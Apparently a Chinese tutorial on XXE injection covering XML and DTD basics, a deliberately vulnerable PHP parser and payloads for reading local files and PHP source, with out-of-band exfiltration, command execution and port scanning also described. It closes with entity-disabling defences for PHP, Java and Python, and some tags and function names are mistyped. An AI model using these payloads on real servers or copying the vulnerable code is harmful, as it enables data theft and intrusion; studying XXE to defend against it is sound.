XXE漏洞
XXE全称为XML External Entity Injection即XMl外部实体注入漏洞
XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害 要了解xxe漏洞,那么一定得先明白基础知识,了解xml文档的基础组成。
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的
标记语言
进行定义的源语言。XML文档结构包括XML声明
、DTD文档类型定义(可选)
、文档元素
XML介绍及用途
XMl被设计用来传输和存储数据。XML文档形成了一种树状结构,它从"根部"开始,然后扩展到"枝叶"。
XMl允许作者定义自己的标签和自己的文档结构。
xml文档的构建模块
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素
- 属性
- 实体
- PCDATA
- CDATA
下面是每个构建模块的简要描述。
1. 元素
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。实例:
代码语言:javascript复制<body>body text in between</body>
<message>some message in between</message>
空的 HTML 元素的例子是 "hr"、"br" 以及 "img"。
2. 属性
属性可提供有关元素的额外信息 实例:
代码语言:javascript复制<img src="computer.gif" />
3. 实体
实体是用来定义普通文本的变量。实体引用是对实体的引用。
4. PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
5. CDATA
CDATA 的意思是字符数据(character data)。CDATA 是不会被解析器解析的文本。
XML语法规则
- 所有XMl元素必须有一个闭合标签
- XMl标签对大小写敏感
- XMl必须正确嵌套
- XML属性值必须加引号
- 实体引用
- 在XMl中,空格会被保留
函数介绍
file_get_cintent函数介绍
file_get_content()函数把整个文件读入一个字符串中。
php://inpput介绍
php://input是个可以访问请求的原始数据的只读流。
结合file_get_contents(php://input)可以读取POST提交的数据
simplexml_load_string函数介绍
php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement
XML注入回显输出函数
在php中可以使用 print_r(),echo输出想要输出的内容
存在XXE漏洞代码
代码语言:javascript复制<?php
$xml= file_get_contents(php://input);
$data = simplexml_load_string($xml);
echo"<pre>";
print_r($data);//注释掉该语句即为无回显的情况
?>
php中测试POC
file:///path/file.txt
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
1,内部声明:ex: <!DOCTYOE test any>
完整实例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2,外部声明(引用外部DTD):ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>
完整实例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
而note.dtd的内容为:
代码语言:javascript复制<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体又分为一般实体和参数实体 1,一般实体的声明语法: 引用实体的方式:
&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;
1,内部实体声明: ex:<!ENTITY eviltest "eviltest">
完整实例:
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;©right;</test>
2,外部实体声明:完整实例:
代码语言:javascript复制<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;©right;</author>
支持的协议有哪些?
不同程序支持的协议如下图:![](
其中php支持的协议会更多一些,但需要一定的扩展支持。
漏洞利用
有回显XXE漏洞利用
读取文档文件
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTPE ANY[
<!ENTITY xxe SYSTEM "file:///c:/post.txt">]>
<name>&xxe;</name>
读取php文件
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTPE ANY[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=conf.php">]>
<name>&xxe;</name>
无回显XXE测试原理
请求XML
<DOCTPE foo SYSTEM "http://192.168.3.112/test.dtd">
&e1;
服务器dtd
使用gedit将test.dtd中内容设置为下图的文件内容
使用wireshark抓取http查看信息
XXE的攻击与危害(XML External Entity)
XXE危害1:读取任意文件
该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
可以把数据发送到远程服务器
远程evil.dtd文件内容如下:
触发XXE攻击后,服务器会把文件内容发送到攻击者网站
XXE危害2:执行系统命令
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
XXE危害3:探测内网端口
该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。
XXE危害4:攻击内网网站
该CASE是攻击内网struts2网站,远程执行系统命令。
如何防御xxe攻击
1. 使用开发语言提供的禁用外部实体的方法
代码语言:javascript复制PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2. 过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC